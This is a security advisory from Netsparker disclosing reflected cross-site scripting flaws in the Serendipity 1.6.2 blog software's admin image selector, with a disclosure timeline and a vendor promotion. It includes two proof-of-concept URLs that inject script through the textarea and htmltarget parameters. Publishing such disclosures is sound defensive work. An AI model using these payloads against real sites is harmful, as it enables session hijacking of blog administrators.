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XSS Vulnerabilities in Serendipity

Information
--------------------

Name :  XSS Vulnerabilities in Serendipity
Software :  Serendipity 1.6.2 and possibly below.
Vendor Homepage :  http://www.s9y.org/
Vulnerability Type :  Cross-Site Scripting
Severity :  Medium
Researcher :  Omar Kurt
Advisory Reference :  NS-13-003

Description
--------------------

Serendipity is a PHP-powered weblog application which gives the user an easy way to maintain an online diary, weblog or even a complete homepage. While the default package is designed for the casual blogger, Serendipity offers a flexible, expandable and easy-to-use framework with the power for professional applications.

Details
--------------------

Serendipity is affected by XSS vulnerabilities in version 1.6.2.

  • http://example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117
    &serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
    &serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
  • http://example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117
    &serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
    &serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117

You can read the full article about Cross-Site Scripting from here:

Solution
--------------------

The vendor fixed this vulnerability in the new version. Please see the references.

Advisory Timeline
--------------------

26/02/2013 - First contact
04/03/2013 - Sent the details
12/07/2013 - Advisory released

Credits
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It has been discovered on testing of Netsparker Web Application Security Scanner.

References
--------------------
Vendor Url / Patch : -
MSL Advisory Link : /xss-vulnerabilities-in-serendipity/
Netsparker Advisories : /netsparker-advisories/

About Netsparker
--------------------

Netsparker® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.

Netsparker Wep Application Security Scanner Find and Exploit vulnerabilities in Web Applications with Netsparker

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